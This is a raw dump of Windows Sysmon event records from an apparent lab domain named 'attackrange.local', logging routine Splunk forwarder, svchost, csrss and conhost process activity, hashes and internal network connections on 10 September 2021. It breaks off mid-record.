AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000047937Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:17.016{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E8756BA207A5958DCD3CA6C939E44970,SHA256=942AD9F1D9C0D6C8D9EDB48E25BB0AD61902EA75FEEF89C6815D5F934532F3FE,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047967Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:18.563{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-719A-613B-2F0B-00000000F001}1184C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047966Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:18.563{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047965Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:18.563{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047964Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:18.563{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047963Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:18.563{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047962Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:18.563{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-719A-613B-2F0B-00000000F001}1184C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047961Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:18.563{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-719A-613B-2F0B-00000000F001}1184C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047960Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:18.564{7BD73061-719A-613B-2F0B-00000000F001}1184C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000047959Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:18.422{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=FBECF95223E0BB1C6CF2693549767009,SHA256=7419ED85AEBFA1539F8EB2B208DEC4E4AA6F640C037B003BE99EFF775B6C1981,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047958Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:18.422{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=CAC463B5808E24A2BE8F539846B1FB2F,SHA256=6100F36A5920F0459235CBC80665248829FD5F6D9EDE09F67E2E63AD58E243A0,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047957Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:18.188{7BD73061-65B2-613B-0D00-00000000F001}8922196C:\Windows\system32\svchost.exe{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047956Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:18.188{7BD73061-65B2-613B-0D00-00000000F001}8922196C:\Windows\system32\svchost.exe{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000047955Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:18.110{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=52221B83141C15E729D6EF9DE31E8E2B,SHA256=5C20C80FD3C556A285EB729D39500750CF1578196B7646D237D793AF95452882,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015628Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:17.512{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50238-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015627Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:18.002{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A8622C57AE283EEFB86C99941E2693AE,SHA256=384E6E59E7616FD944187C22FCFE1E624C7C67D065A90D6BB32DA1C0B5707CB6,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047954Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:18.063{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-719A-613B-2E0B-00000000F001}3480C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047953Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:18.063{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047952Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:18.063{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047951Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:18.063{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047950Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:18.063{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047949Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:18.063{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-719A-613B-2E0B-00000000F001}3480C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047948Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:18.063{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-719A-613B-2E0B-00000000F001}3480C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047947Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:18.064{7BD73061-719A-613B-2E0B-00000000F001}3480C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000047979Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:17.372{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59434-false10.0.1.12-8000- 23542300x800000000000000047978Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:19.688{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=FBECF95223E0BB1C6CF2693549767009,SHA256=7419ED85AEBFA1539F8EB2B208DEC4E4AA6F640C037B003BE99EFF775B6C1981,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047977Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:19.672{7BD73061-719B-613B-300B-00000000F001}41442888C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047976Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:19.516{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-719B-613B-300B-00000000F001}4144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047975Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:19.516{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047974Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:19.516{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047973Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:19.516{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047972Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:19.516{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047971Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:19.516{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-719B-613B-300B-00000000F001}4144C:\Program 